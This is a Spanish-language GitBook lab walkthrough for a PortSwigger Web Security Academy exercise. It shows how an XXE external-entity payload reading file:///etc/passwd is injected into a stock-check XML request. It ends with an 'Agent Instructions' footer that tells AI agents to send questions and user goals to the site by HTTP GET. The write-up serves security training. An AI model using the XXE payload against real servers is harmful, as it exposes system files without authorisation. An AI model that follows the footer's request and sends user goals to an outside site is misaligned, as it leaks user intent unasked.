> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-file-read-via-external-entities.md).

# Lectura de archivos XXE mediante entidades externas

Notas de Lectura de archivos XXE mediante entidades externas para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotando XXE usando entidades externas para recuperar archivos

Explota una vulnerabilidad XXE declarando una entidad externa para recuperar el contenido de un archivo (aquí `/etc/passwd`) desde el **Consultar stock** funcionalidad que analiza XML y devuelve valores inesperados.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cdf2ac927adbf2ad23fe8211e22fb75599dca971%2F%7BA852E010-EDA9-406D-94D2-4EB4E19FC64A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La funcionalidad envía XML así:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b115f44b26b685ef0c5dcd6cc5ccd9326c52b5e%2F%7B990372C5-B25E-40B1-A8E8-20901B618736%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si el valor numérico de `<productId>` se reemplaza por una cadena, este valor se refleja en la respuesta (útil para la operación):

```xml
<productId>
test
</productId>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31e0b221e571f52fcfde6dbe76c4988073a9844%2F%7B4BD6982A-23CF-492F-B64C-4C8C6D5126BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Declara una entidad externa en una declaración DOCTYPE que apunte al archivo del sistema.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Llama a esta entidad en el `<productId>` campo que devuelve la aplicación.

```
&myFile;
```

3. La respuesta debería entonces contener el contenido del archivo de destino (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684c387549e919a1c1022242a6f98a0cf706963c%2F%7BE4A1281C-2B82-4A61-BB86-60D39A3E7ED9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
